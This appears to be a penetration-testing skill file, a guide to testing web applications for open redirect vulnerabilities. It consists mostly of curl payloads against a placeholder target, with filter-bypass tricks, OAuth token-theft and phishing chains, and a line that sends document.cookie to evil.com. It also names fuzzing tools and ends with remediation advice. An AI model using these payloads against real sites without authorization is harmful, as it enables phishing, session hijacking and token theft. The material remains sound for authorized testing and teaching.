Imported from mukul975/anthropic-cybersecurity-skills (skills/testing-for-open-redirect-vulnerabilities/SKILL.md). Install upstream with npx skills add mukul975/anthropic-cybersecurity-skills --skill testing-for-open-redirect-vulnerabilities. Copyright stays with the author (Apache-2.0).

Testing for Open Redirect Vulnerabilities

When to Use

• When testing login/logout flows that redirect users to specified URLs
• During assessment of OAuth authorization endpoints with redirect_uri parameters
• When auditing applications with URL parameters (next, url, redirect, return, goto, target)
• During phishing simulation to chain open redirects with credential harvesting
• When testing SSO implementations for redirect validation weaknesses

Prerequisites

• Burp Suite or OWASP ZAP for intercepting redirect requests
• Collection of open redirect bypass payloads
• External domain or Burp Collaborator for redirect confirmation
• Understanding of URL parsing and encoding schemes
• Browser with developer tools for observing redirect chains
• Knowledge of HTTP 301/302/303/307/308 redirect status codes

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Redirect Parameters

# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=

# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters

# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"

Step 2 — Test Basic Open Redirect Payloads

# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"

# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"

# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://target.com@evil.com"

# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"

# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"

Step 3 — Apply Validation Bypass Techniques

# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"

# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"

# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"

# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"

# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"

# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"

# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"

Step 4 — Test Path-Based Redirects

# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"

# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"

# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"

# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"

Step 5 — Chain with Other Vulnerabilities

# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"

# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL

# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"

Step 6 — Automate Open Redirect Testing

# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ

# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt

# Mass test with nuclei
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml

# Test with ffuf
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"

Key Concepts

Tools & Systems

Common Scenarios

1. Phishing Amplification — Use open redirect on a trusted domain to lend credibility to phishing URLs targeting users
2. OAuth Token Theft — Exploit open redirect as redirect_uri in OAuth flows to steal authorization codes and access tokens
3. SSO Bypass — Redirect SSO authentication responses to attacker-controlled servers to capture session tokens
4. XSS via Redirect — Chain open redirect with javascript: protocol to achieve cross-site scripting
5. Referer Leakage — Use open redirect to leak sensitive tokens in Referer headers when redirecting to external sites

Output Format

## Open Redirect Assessment Report
- **Target**: http://target.com
- **Vulnerable Parameters Found**: 3
- **Bypass Techniques Required**: URL encoding, userinfo abuse

### Findings
| # | Endpoint | Parameter | Payload | Impact |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | Phishing |
| 2 | /oauth/authorize | redirect_uri | https://target.com@evil.com | Token Theft |
| 3 | /logout | return | https://evil.com%00.target.com | Session Redirect |

### Remediation
- Implement allowlist of permitted redirect destinations
- Validate redirect URLs server-side using strict URL parsing
- Reject any redirect URL containing external domains
- Use indirect reference maps instead of direct URL parameters